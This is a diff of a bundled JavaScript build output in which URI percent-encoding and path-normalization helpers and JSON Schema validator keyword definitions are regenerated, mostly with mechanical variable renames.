HOST_DELIM_RE = /[@/?#:]/g; @@ -31603,80 +31603,80 @@ var require_utils = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -31685,130 +31685,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -33273,7 +33273,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -33282,7 +33282,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -33298,7 +33298,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -33307,7 +33307,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -33354,7 +33354,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -33366,7 +33366,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -33386,7 +33386,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -33395,7 +33395,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -33421,7 +33421,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -33433,7 +33433,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -33452,7 +33452,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -33461,7 +33461,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -33532,7 +33532,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -33544,7 +33544,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -33575,7 +33575,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -33584,7 +33584,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -33641,14 +33641,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -33670,7 +33670,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -33678,7 +33678,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -33757,7 +33757,7 @@ var require_additionalItems = __commonJS({ exports2.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -33766,7 +33766,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -33885,7 +33885,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -33894,7 +33894,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -33918,7 +33918,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min: min2, max: max2 } }) => max2 === void 0 ? (0, codegen_1.str)`must contain at least ${min2} valid item(s)` : (0, codegen_1.str)`must contain at least ${min2} and no more than ${max2} valid item(s)`, params: ({ params: { min: min2, max: max2 } }) => max2 === void 0 ? (0, codegen_1._)`{minContains: ${min2}}` : (0, codegen_1._)`{minContains: ${min2}, maxContains: ${max2}}` }; @@ -33928,7 +33928,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min2; @@ -34106,7 +34106,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -34114,7 +34114,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -34151,7 +34151,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -34161,7 +34161,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -34435,7 +34435,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -34443,7 +34443,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -34520,7 +34520,7 @@ var require_if = __commonJS({ Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -34528,7 +34528,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -34654,7 +34654,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports2, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -34663,7 +34663,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -34818,7 +34818,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -34826,7 +34826,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -35325,7 +35325,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -35342,7 +35342,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -35413,14 +35413,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -35645,7 +35645,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -35659,7 +35659,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -36847,27 +36847,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -36915,11 +36915,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -36952,23 +36952,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -36984,79 +36984,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -37066,29 +37066,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -37109,56 +37109,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low 